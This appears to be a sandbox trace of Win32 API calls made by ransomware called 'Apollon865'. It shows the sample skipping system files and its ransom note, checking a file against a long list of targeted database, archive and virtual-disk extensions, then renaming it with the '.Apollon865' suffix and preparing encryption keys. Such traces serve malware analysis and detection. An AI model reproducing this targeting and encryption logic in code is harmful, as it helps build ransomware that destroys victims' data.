	[0084.789] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0084.789] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2fc2c210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fc2c210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.789] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.789] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0084.789] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0084.789] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0084.789] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2="Apollon865.txt.exe") returned -1
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2=".") returned 1
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2="..") returned 1
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2="windows") returned -1
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2="bootmgr") returned -1
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2="temp") returned -1
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2="pagefile.sys") returned -1
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2="boot") returned -1
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2="ids.txt") returned -1
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2="ntuser.dat") returned -1
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2="perflogs") returned -1
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2="MSBuild") returned -1
	[0084.789] lstrlenW (lpString="Active.GRL") returned 10
	[0084.789] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\MF\\*") returned 33
	[0084.789] lstrcpyW (in: lpString1=0x119e648, lpString2="Active.GRL" | out: lpString1="Active.GRL") returned="Active.GRL"
	[0084.789] lstrlenW (lpString="Active.GRL") returned 10
	[0084.789] lstrlenW (lpString="Apollon865") returned 10
	[0084.789] lstrlenW (lpString=".dll") returned 4
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2=".dll") returned 1
	[0084.789] lstrlenW (lpString=".lnk") returned 4
	[0084.789] lstrcmpiW (lpString1="Active.GRL", lpString2=".lnk") returned 1
	[0084.790] lstrlenW (lpString=".ini") returned 4
	[0084.790] lstrcmpiW (lpString1="Active.GRL", lpString2=".ini") returned 1
	[0084.790] lstrlenW (lpString=".sys") returned 4
	[0084.790] lstrcmpiW (lpString1="Active.GRL", lpString2=".sys") returned 1
	[0084.790] lstrlenW (lpString="Active.GRL") returned 10
	[0084.790] lstrlenW (lpString="bak") returned 3
	[0084.790] lstrcmpiW (lpString1="GRL", lpString2="bak") returned 1
	[0084.790] lstrlenW (lpString="ba_") returned 3
	[0084.790] lstrcmpiW (lpString1="GRL", lpString2="ba_") returned 1
	[0084.790] lstrlenW (lpString="dbb") returned 3
	[0084.790] lstrcmpiW (lpString1="GRL", lpString2="dbb") returned 1
	[0084.790] lstrlenW (lpString="vmdk") returned 4
	[0084.790] lstrcmpiW (lpString1=".GRL", lpString2="vmdk") returned -1
	[0084.790] lstrlenW (lpString="rar") returned 3
	[0084.790] lstrcmpiW (lpString1="GRL", lpString2="rar") returned -1
	[0084.790] lstrlenW (lpString="zip") returned 3
	[0084.790] lstrcmpiW (lpString1="GRL", lpString2="zip") returned -1
	[0084.790] lstrlenW (lpString="tgz") returned 3
	[0084.790] lstrcmpiW (lpString1="GRL", lpString2="tgz") returned -1
	[0084.790] lstrlenW (lpString="vbox") returned 4
	[0084.790] lstrcmpiW (lpString1=".GRL", lpString2="vbox") returned -1
	[0084.790] lstrlenW (lpString="vdi") returned 3
	[0084.790] lstrcmpiW (lpString1="GRL", lpString2="vdi") returned -1
	[0084.790] lstrlenW (lpString="vhd") returned 3
	[0084.790] lstrcmpiW (lpString1="GRL", lpString2="vhd") returned -1
	[0084.790] lstrlenW (lpString="vhdx") returned 4
	[0084.790] lstrcmpiW (lpString1=".GRL", lpString2="vhdx") returned -1
	[0084.790] lstrlenW (lpString="avhd") returned 4
	[0084.790] lstrcmpiW (lpString1=".GRL", lpString2="avhd") returned -1
	[0084.790] lstrlenW (lpString="db") returned 2
	[0084.790] lstrcmpiW (lpString1="RL", lpString2="db") returned 1
	[0084.790] lstrlenW (lpString="db2") returned 3
	[0084.790] lstrcmpiW (lpString1="GRL", lpString2="db2") returned 1
	[0084.790] lstrlenW (lpString="db3") returned 3
	[0084.790] lstrcmpiW (lpString1="GRL", lpString2="db3") returned 1
	[0084.790] lstrlenW (lpString="dbf") returned 3
	[0084.790] lstrcmpiW (lpString1="GRL", lpString2="dbf") returned 1
	[0084.790] lstrlenW (lpString="mdf") returned 3
	[0084.791] lstrcmpiW (lpString1="GRL", lpString2="mdf") returned -1
	[0084.791] lstrlenW (lpString="mdb") returned 3
	[0084.791] lstrcmpiW (lpString1="GRL", lpString2="mdb") returned -1
	[0084.791] lstrlenW (lpString="sql") returned 3
	[0084.791] lstrcmpiW (lpString1="GRL", lpString2="sql") returned -1
	[0084.791] lstrlenW (lpString="sqlite") returned 6
	[0084.791] lstrcmpiW (lpString1="ve.GRL", lpString2="sqlite") returned 1
	[0084.791] lstrlenW (lpString="sqlite3") returned 7
	[0084.791] lstrcmpiW (lpString1="ive.GRL", lpString2="sqlite3") returned -1
	[0084.791] lstrlenW (lpString="sqlitedb") returned 8
	[0084.791] lstrcmpiW (lpString1="tive.GRL", lpString2="sqlitedb") returned 1
	[0084.791] lstrlenW (lpString="xml") returned 3
	[0084.791] lstrcmpiW (lpString1="GRL", lpString2="xml") returned -1
	[0084.791] lstrlenW (lpString="$er") returned 3
	[0084.791] lstrcmpiW (lpString1="GRL", lpString2="$er") returned 1
	[0084.791] lstrlenW (lpString="4dd") returned 3
	[0084.791] lstrcmpiW (lpString1="GRL", lpString2="4dd") returned 1
	[0084.791] lstrlenW (lpString="4dl") returned 3
	[0084.791] lstrcmpiW (lpString1="GRL", lpString2="4dl") returned 1
	[0084.791] lstrlenW (lpString="^^^") returned 3
	[0084.791] lstrcmpiW (lpString1="GRL", lpString2="^^^") returned 1
	[0084.791] lstrlenW (lpString="abs") returned 3
	[0084.791] lstrcmpiW (lpString1="GRL", lpString2="abs") returned 1
	[0084.791] lstrlenW (lpString="abx") returned 3
	[0084.791] lstrcmpiW (lpString1="GRL", lpString2="abx") returned 1
	[0084.791] lstrlenW (lpString="accdb") returned 5
	[0084.791] lstrcmpiW (lpString1="e.GRL", lpString2="accdb") returned 1
	[0084.791] lstrlenW (lpString="accdc") returned 5
	[0084.791] lstrcmpiW (lpString1="e.GRL", lpString2="accdc") returned 1
	[0084.791] lstrlenW (lpString="accde") returned 5
	[0084.791] lstrcmpiW (lpString1="e.GRL", lpString2="accde") returned 1
	[0084.791] lstrlenW (lpString="accdr") returned 5
	[0084.791] lstrcmpiW (lpString1="e.GRL", lpString2="accdr") returned 1
	[0084.791] lstrlenW (lpString="accdt") returned 5
	[0084.791] lstrcmpiW (lpString1="e.GRL", lpString2="accdt") returned 1
	[0084.791] lstrlenW (lpString="accdw") returned 5
	[0084.791] lstrcmpiW (lpString1="e.GRL", lpString2="accdw") returned 1
	[0084.791] lstrlenW (lpString="accft") returned 5
	[0084.791] lstrcmpiW (lpString1="e.GRL", lpString2="accft") returned 1
	[0084.792] lstrlenW (lpString="adb") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="adb") returned 1
	[0084.792] lstrlenW (lpString="adb") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="adb") returned 1
	[0084.792] lstrlenW (lpString="ade") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="ade") returned 1
	[0084.792] lstrlenW (lpString="adf") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="adf") returned 1
	[0084.792] lstrlenW (lpString="adn") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="adn") returned 1
	[0084.792] lstrlenW (lpString="adp") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="adp") returned 1
	[0084.792] lstrlenW (lpString="alf") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="alf") returned 1
	[0084.792] lstrlenW (lpString="ask") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="ask") returned 1
	[0084.792] lstrlenW (lpString="btr") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="btr") returned 1
	[0084.792] lstrlenW (lpString="cat") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="cat") returned 1
	[0084.792] lstrlenW (lpString="cdb") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="cdb") returned 1
	[0084.792] lstrlenW (lpString="ckp") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="ckp") returned 1
	[0084.792] lstrlenW (lpString="cma") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="cma") returned 1
	[0084.792] lstrlenW (lpString="cpd") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="cpd") returned 1
	[0084.792] lstrlenW (lpString="dacpac") returned 6
	[0084.792] lstrcmpiW (lpString1="ve.GRL", lpString2="dacpac") returned 1
	[0084.792] lstrlenW (lpString="dad") returned 3
	[0084.792] lstrcmpiW (lpString1="GRL", lpString2="dad") returned 1
	[0084.792] lstrlenW (lpString="dadiagrams") returned 10
	[0084.792] lstrlenW (lpString="daschema") returned 8
	[0084.792] lstrcmpiW (lpString1="tive.GRL", lpString2="daschema") returned 1
	[0084.792] lstrlenW (lpString="db-journal") returned 10
	[0084.792] lstrlenW (lpString="db-shm") returned 6
	[0084.793] lstrcmpiW (lpString1="ve.GRL", lpString2="db-shm") returned 1
	[0084.793] lstrlenW (lpString="db-wal") returned 6
	[0084.793] lstrcmpiW (lpString1="ve.GRL", lpString2="db-wal") returned 1
	[0084.793] lstrlenW (lpString="dbc") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="dbc") returned 1
	[0084.793] lstrlenW (lpString="dbs") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="dbs") returned 1
	[0084.793] lstrlenW (lpString="dbt") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="dbt") returned 1
	[0084.793] lstrlenW (lpString="dbv") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="dbv") returned 1
	[0084.793] lstrlenW (lpString="dbx") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="dbx") returned 1
	[0084.793] lstrlenW (lpString="dcb") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="dcb") returned 1
	[0084.793] lstrlenW (lpString="dct") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="dct") returned 1
	[0084.793] lstrlenW (lpString="dcx") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="dcx") returned 1
	[0084.793] lstrlenW (lpString="ddl") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="ddl") returned 1
	[0084.793] lstrlenW (lpString="dlis") returned 4
	[0084.793] lstrcmpiW (lpString1=".GRL", lpString2="dlis") returned -1
	[0084.793] lstrlenW (lpString="dp1") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="dp1") returned 1
	[0084.793] lstrlenW (lpString="dqy") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="dqy") returned 1
	[0084.793] lstrlenW (lpString="dsk") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="dsk") returned 1
	[0084.793] lstrlenW (lpString="dsn") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="dsn") returned 1
	[0084.793] lstrlenW (lpString="dtsx") returned 4
	[0084.793] lstrcmpiW (lpString1=".GRL", lpString2="dtsx") returned -1
	[0084.793] lstrlenW (lpString="dxl") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="dxl") returned 1
	[0084.793] lstrlenW (lpString="eco") returned 3
	[0084.793] lstrcmpiW (lpString1="GRL", lpString2="eco") returned 1
	[0084.793] lstrlenW (lpString="ecx") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="ecx") returned 1
	[0084.794] lstrlenW (lpString="edb") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="edb") returned 1
	[0084.794] lstrlenW (lpString="epim") returned 4
	[0084.794] lstrcmpiW (lpString1=".GRL", lpString2="epim") returned -1
	[0084.794] lstrlenW (lpString="fcd") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="fcd") returned 1
	[0084.794] lstrlenW (lpString="fdb") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="fdb") returned 1
	[0084.794] lstrlenW (lpString="fic") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="fic") returned 1
	[0084.794] lstrlenW (lpString="flexolibrary") returned 12
	[0084.794] lstrlenW (lpString="fm5") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="fm5") returned 1
	[0084.794] lstrlenW (lpString="fmp") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="fmp") returned 1
	[0084.794] lstrlenW (lpString="fmp12") returned 5
	[0084.794] lstrcmpiW (lpString1="e.GRL", lpString2="fmp12") returned -1
	[0084.794] lstrlenW (lpString="fmpsl") returned 5
	[0084.794] lstrcmpiW (lpString1="e.GRL", lpString2="fmpsl") returned -1
	[0084.794] lstrlenW (lpString="fol") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="fol") returned 1
	[0084.794] lstrlenW (lpString="fp3") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="fp3") returned 1
	[0084.794] lstrlenW (lpString="fp4") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="fp4") returned 1
	[0084.794] lstrlenW (lpString="fp5") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="fp5") returned 1
	[0084.794] lstrlenW (lpString="fp7") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="fp7") returned 1
	[0084.794] lstrlenW (lpString="fpt") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="fpt") returned 1
	[0084.794] lstrlenW (lpString="frm") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="frm") returned 1
	[0084.794] lstrlenW (lpString="gdb") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="gdb") returned 1
	[0084.794] lstrlenW (lpString="gdb") returned 3
	[0084.794] lstrcmpiW (lpString1="GRL", lpString2="gdb") returned 1
	[0084.795] lstrlenW (lpString="grdb") returned 4
	[0084.795] lstrcmpiW (lpString1=".GRL", lpString2="grdb") returned -1
	[0084.795] lstrlenW (lpString="gwi") returned 3
	[0084.795] lstrcmpiW (lpString1="GRL", lpString2="gwi") returned -1
	[0084.795] lstrlenW (lpString="hdb") returned 3
	[0084.795] lstrcmpiW (lpString1="GRL", lpString2="hdb") returned -1
	[0084.795] lstrlenW (lpString="his") returned 3
	[0084.795] lstrcmpiW (lpString1="GRL", lpString2="his") returned -1
	[0084.795] lstrlenW (lpString="ib") returned 2
	[0084.795] lstrcmpiW (lpString1="RL", lpString2="ib") returned 1
	[0084.795] lstrlenW (lpString="idb") returned 3
	[0084.795] lstrcmpiW (lpString1="GRL", lpString2="idb") returned -1
	[0084.795] lstrlenW (lpString="ihx") returned 3
	[0084.795] lstrcmpiW (lpString1="GRL", lpString2="ihx") returned -1
	[0084.795] lstrlenW (lpString="itdb") returned 4
	[0084.795] lstrcmpiW (lpString1=".GRL", lpString2="itdb") returned -1
	[0084.795] lstrlenW (lpString="itw") returned 3
	[0084.795] lstrcmpiW (lpString1="GRL", lpString2="itw") returned -1
	[0084.795] lstrlenW (lpString="jet") returned 3
	[0084.795] lstrcmpiW (lpString1="GRL", lpString2="jet") returned -1
	[0084.795] lstrlenW (lpString="jtx") returned 3
	[0084.795] lstrcmpiW (lpString1="GRL", lpString2="jtx") returned -1
	[0084.795] lstrlenW (lpString="kdb") returned 3
	[0084.795] lstrcmpiW (lpString1="GRL", lpString2="kdb") returned -1
	[0084.795] lstrlenW (lpString="kexi") returned 4
	[0084.795] lstrcmpiW (lpString1=".GRL", lpString2="kexi") returned -1
	[0084.795] lstrlenW (lpString="kexic") returned 5
	[0084.795] lstrcmpiW (lpString1="e.GRL", lpString2="kexic") returned -1
	[0084.795] lstrlenW (lpString="kexis") returned 5
	[0084.795] lstrcmpiW (lpString1="e.GRL", lpString2="kexis") returned -1
	[0084.795] lstrlenW (lpString="lgc") returned 3
	[0084.795] lstrcmpiW (lpString1="GRL", lpString2="lgc") returned -1
	[0084.795] lstrlenW (lpString="lwx") returned 3
	[0084.795] lstrcmpiW (lpString1="GRL", lpString2="lwx") returned -1
	[0084.795] lstrlenW (lpString="maf") returned 3
	[0084.795] lstrcmpiW (lpString1="GRL", lpString2="maf") returned -1
	[0084.795] lstrlenW (lpString="maq") returned 3
	[0084.795] lstrcmpiW (lpString1="GRL", lpString2="maq") returned -1
	[0084.796] lstrlenW (lpString="mar") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="mar") returned -1
	[0084.796] lstrlenW (lpString="marshal") returned 7
	[0084.796] lstrcmpiW (lpString1="ive.GRL", lpString2="marshal") returned -1
	[0084.796] lstrlenW (lpString="mas") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="mas") returned -1
	[0084.796] lstrlenW (lpString="mav") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="mav") returned -1
	[0084.796] lstrlenW (lpString="maw") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="maw") returned -1
	[0084.796] lstrlenW (lpString="mdbhtml") returned 7
	[0084.796] lstrcmpiW (lpString1="ive.GRL", lpString2="mdbhtml") returned -1
	[0084.796] lstrlenW (lpString="mdn") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="mdn") returned -1
	[0084.796] lstrlenW (lpString="mdt") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="mdt") returned -1
	[0084.796] lstrlenW (lpString="mfd") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="mfd") returned -1
	[0084.796] lstrlenW (lpString="mpd") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="mpd") returned -1
	[0084.796] lstrlenW (lpString="mrg") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="mrg") returned -1
	[0084.796] lstrlenW (lpString="mud") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="mud") returned -1
	[0084.796] lstrlenW (lpString="mwb") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="mwb") returned -1
	[0084.796] lstrlenW (lpString="myd") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="myd") returned -1
	[0084.796] lstrlenW (lpString="ndf") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="ndf") returned -1
	[0084.796] lstrlenW (lpString="nnt") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="nnt") returned -1
	[0084.796] lstrlenW (lpString="nrmlib") returned 6
	[0084.796] lstrcmpiW (lpString1="ve.GRL", lpString2="nrmlib") returned 1
	[0084.796] lstrlenW (lpString="ns2") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="ns2") returned -1
	[0084.796] lstrlenW (lpString="ns3") returned 3
	[0084.796] lstrcmpiW (lpString1="GRL", lpString2="ns3") returned -1
	[0084.797] lstrlenW (lpString="ns4") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="ns4") returned -1
	[0084.797] lstrlenW (lpString="nsf") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="nsf") returned -1
	[0084.797] lstrlenW (lpString="nv") returned 2
	[0084.797] lstrcmpiW (lpString1="RL", lpString2="nv") returned 1
	[0084.797] lstrlenW (lpString="nv2") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="nv2") returned -1
	[0084.797] lstrlenW (lpString="nwdb") returned 4
	[0084.797] lstrcmpiW (lpString1=".GRL", lpString2="nwdb") returned -1
	[0084.797] lstrlenW (lpString="nyf") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="nyf") returned -1
	[0084.797] lstrlenW (lpString="odb") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="odb") returned -1
	[0084.797] lstrlenW (lpString="odb") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="odb") returned -1
	[0084.797] lstrlenW (lpString="oqy") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="oqy") returned -1
	[0084.797] lstrlenW (lpString="ora") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="ora") returned -1
	[0084.797] lstrlenW (lpString="orx") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="orx") returned -1
	[0084.797] lstrlenW (lpString="owc") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="owc") returned -1
	[0084.797] lstrlenW (lpString="p96") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="p96") returned -1
	[0084.797] lstrlenW (lpString="p97") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="p97") returned -1
	[0084.797] lstrlenW (lpString="pan") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="pan") returned -1
	[0084.797] lstrlenW (lpString="pdb") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="pdb") returned -1
	[0084.797] lstrlenW (lpString="pdm") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="pdm") returned -1
	[0084.797] lstrlenW (lpString="pnz") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="pnz") returned -1
	[0084.797] lstrlenW (lpString="qry") returned 3
	[0084.797] lstrcmpiW (lpString1="GRL", lpString2="qry") returned -1
	[0084.798] lstrlenW (lpString="qvd") returned 3
	[0084.798] lstrcmpiW (lpString1="GRL", lpString2="qvd") returned -1
	[0084.798] lstrlenW (lpString="rbf") returned 3
	[0084.798] lstrcmpiW (lpString1="GRL", lpString2="rbf") returned -1
	[0084.798] lstrlenW (lpString="rctd") returned 4
	[0084.798] lstrcmpiW (lpString1=".GRL", lpString2="rctd") returned -1
	[0084.798] lstrlenW (lpString="rod") returned 3
	[0084.798] lstrcmpiW (lpString1="GRL", lpString2="rod") returned -1
	[0084.798] lstrlenW (lpString="rodx") returned 4
	[0084.798] lstrcmpiW (lpString1=".GRL", lpString2="rodx") returned -1
	[0084.798] lstrlenW (lpString="rpd") returned 3
	[0084.798] lstrcmpiW (lpString1="GRL", lpString2="rpd") returned -1
	[0084.798] lstrlenW (lpString="rsd") returned 3
	[0084.798] lstrcmpiW (lpString1="GRL", lpString2="rsd") returned -1
	[0084.798] lstrlenW (lpString="sas7bdat") returned 8
	[0084.798] lstrcmpiW (lpString1="tive.GRL", lpString2="sas7bdat") returned 1
	[0084.798] lstrlenW (lpString="sbf") returned 3
	[0084.798] lstrcmpiW (lpString1="GRL", lpString2="sbf") returned -1
	[0084.798] lstrlenW (lpString="scx") returned 3
	[0084.798] lstrcmpiW (lpString1="GRL", lpString2="scx") returned -1
	[0084.798] lstrlenW (lpString="sdb") returned 3
	[0084.798] lstrcmpiW (lpString1="GRL", lpString2="sdb") returned -1
	[0084.798] lstrlenW (lpString="sdc") returned 3
	[0084.798] lstrcmpiW (lpString1="GRL", lpString2="sdc") returned -1
	[0084.798] lstrlenW (lpString="sdf") returned 3
	[0084.798] lstrcmpiW (lpString1="GRL", lpString2="sdf") returned -1
	[0084.798] lstrlenW (lpString="sis") returned 3
	[0084.798] lstrcmpiW (lpString1="GRL", lpString2="sis") returned -1
	[0084.798] lstrlenW (lpString="spq") returned 3
	[0084.798] lstrcmpiW (lpString1="GRL", lpString2="spq") returned -1
	[0084.798] lstrlenW (lpString="te") returned 2
	[0084.798] lstrcmpiW (lpString1="RL", lpString2="te") returned -1
	[0084.798] lstrlenW (lpString="teacher") returned 7
	[0084.798] lstrcmpiW (lpString1="ive.GRL", lpString2="teacher") returned -1
	[0084.798] lstrlenW (lpString="tmd") returned 3
	[0084.798] lstrcmpiW (lpString1="GRL", lpString2="tmd") returned -1
	[0084.798] lstrlenW (lpString="tps") returned 3
	[0084.798] lstrcmpiW (lpString1="GRL", lpString2="tps") returned -1
	[0084.799] lstrlenW (lpString="trc") returned 3
	[0084.799] lstrcmpiW (lpString1="GRL", lpString2="trc") returned -1
	[0084.799] lstrlenW (lpString="trc") returned 3
	[0084.799] lstrcmpiW (lpString1="GRL", lpString2="trc") returned -1
	[0084.799] lstrlenW (lpString="trm") returned 3
	[0084.799] lstrcmpiW (lpString1="GRL", lpString2="trm") returned -1
	[0084.799] lstrlenW (lpString="udb") returned 3
	[0084.799] lstrcmpiW (lpString1="GRL", lpString2="udb") returned -1
	[0084.799] lstrlenW (lpString="udl") returned 3
	[0084.799] lstrcmpiW (lpString1="GRL", lpString2="udl") returned -1
	[0084.799] lstrlenW (lpString="usr") returned 3
	[0084.799] lstrcmpiW (lpString1="GRL", lpString2="usr") returned -1
	[0084.799] lstrlenW (lpString="v12") returned 3
	[0084.799] lstrcmpiW (lpString1="GRL", lpString2="v12") returned -1
	[0084.799] lstrlenW (lpString="vis") returned 3
	[0084.799] lstrcmpiW (lpString1="GRL", lpString2="vis") returned -1
	[0084.799] lstrlenW (lpString="vpd") returned 3
	[0084.799] lstrcmpiW (lpString1="GRL", lpString2="vpd") returned -1
	[0084.799] lstrlenW (lpString="vvv") returned 3
	[0084.799] lstrcmpiW (lpString1="GRL", lpString2="vvv") returned -1
	[0084.799] lstrlenW (lpString="wdb") returned 3
	[0084.799] lstrcmpiW (lpString1="GRL", lpString2="wdb") returned -1
	[0084.799] lstrlenW (lpString="wmdb") returned 4
	[0084.799] lstrcmpiW (lpString1=".GRL", lpString2="wmdb") returned -1
	[0084.799] lstrlenW (lpString="wrk") returned 3
	[0084.799] lstrcmpiW (lpString1="GRL", lpString2="wrk") returned -1
	[0084.799] lstrlenW (lpString="xdb") returned 3
	[0084.799] lstrcmpiW (lpString1="GRL", lpString2="xdb") returned -1
	[0084.799] lstrlenW (lpString="xld") returned 3
	[0084.799] lstrcmpiW (lpString1="GRL", lpString2="xld") returned -1
	[0084.799] lstrlenW (lpString="xmlff") returned 5
	[0084.799] lstrcmpiW (lpString1="e.GRL", lpString2="xmlff") returned -1
	[0084.799] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.Apollon865") returned 53
	[0084.799] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl.apollon865"), dwFlags=0x1) returned 1
	[0084.801] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\Active.GRL.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\mf\\active.grl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.801] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=14972) returned 1
	[0084.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.801] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.801] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.803] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.803] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
